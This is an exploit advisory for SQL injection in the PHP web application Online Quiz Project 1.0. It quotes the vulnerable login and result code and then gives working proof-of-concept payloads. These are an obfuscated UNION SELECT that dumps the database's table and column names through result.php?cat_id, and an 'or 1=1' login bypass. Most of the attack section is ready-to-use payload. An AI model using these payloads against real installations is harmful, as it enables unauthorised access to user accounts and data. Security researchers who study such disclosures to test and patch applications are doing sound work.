Online Quiz Project 1.0 - SQL Injection

2017.08.18
Credit: Ihsan Sencan
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# # # # # # Exploit Title: Online Quiz Project 1.0 - Multiple Vulnerabilities # Dork: N/A # Date: 17.08.2017 # Vendor Homepage : http://surajkumar.in/ # Software Link: http://surajkumar.in/product/online-quiz-project-php/ # Demo: http://surajkumar.in/ # Version: 1.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The vulnerability allows an attacker to inject sql commands... # The vulnerability allows an attacker to access the user panel... # # Vulnerable Source: # # # # # # <?php # ....1 # if(isset($_POST['_login'])){ # $data=array(); # $data['user']=$_POST['_user']; # $data['password']=$_POST['_password']; # $userLogin=user_login($data); # _t($userLogin); # if($userLogin['bool']==fa # # ....2 # $questionData=''; # if(isset($_GET['cat_id'])){ # $userData=get_result_by_user($_SESSION['user']['user_id'],$_GET['cat_id']); # .... # }else{ # $query=mysqli_query($db,"SELECT * FROM user_answered WHERE user_id='$user_id' AND cat_id='$cat_id'"); # } # .... # ?> # # # # # # # Proof of Concept: # # 1: # http://localhost/[PATH]/result.php?cat_id=[SQL] # -1'+/*!22222UnIoN*/(/*!22222SeLeCT*/+0x283129,(select(@x)from(select(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=Concat(@x,0x3c62723e,if((@tbl!=table_name),/*!11111Concat*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c646976207374796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x),0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529)--+-&docname=0x30783330 # # 2: # http://localhost/[PATH]/login.php # User: 'or 1=1 or ''=' Pass: 'or 1=1 or ''=' # # Etc... # # # # #


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